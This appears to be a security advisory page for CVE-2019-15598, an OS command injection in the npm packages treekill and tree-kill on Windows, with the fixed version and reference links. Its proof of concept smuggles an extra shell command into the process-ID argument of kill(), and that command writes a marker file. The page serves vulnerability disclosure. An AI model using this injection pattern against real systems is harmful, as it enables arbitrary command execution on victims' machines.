CRITICAL9.8
GHSA-j7fq-p9q7-5wfv
Treekill Enables OS Command Injection
Quick fix
GHSA-j7fq-p9q7-5wfv — tree-kill: upgrade to the fixed version with the command below.
npm install tree-kill@1.2.2Details
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
### Steps To Reproduce: Create the following PoC file:
```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ```
Execute the following commands in terminal:
```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ```
The HACKED.txt has been created
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://nvd.nist.gov/vuln/detail/CVE-2019-15598[ADVISORY]
- https://github.com/pkrumins/node-tree-kill/issues/30[WEB]
- https://github.com/pkrumins/node-tree-kill/pull/31[WEB]
- https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c[WEB]
- https://hackerone.com/reports/701183[WEB]
- https://hackerone.com/reports/703415[WEB]
- https://github.com/node-modules/treekill/blob/master/index.js#L32[WEB]
- https://github.com/pkrumins/node-tree-kill[PACKAGE]
- https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781[WEB]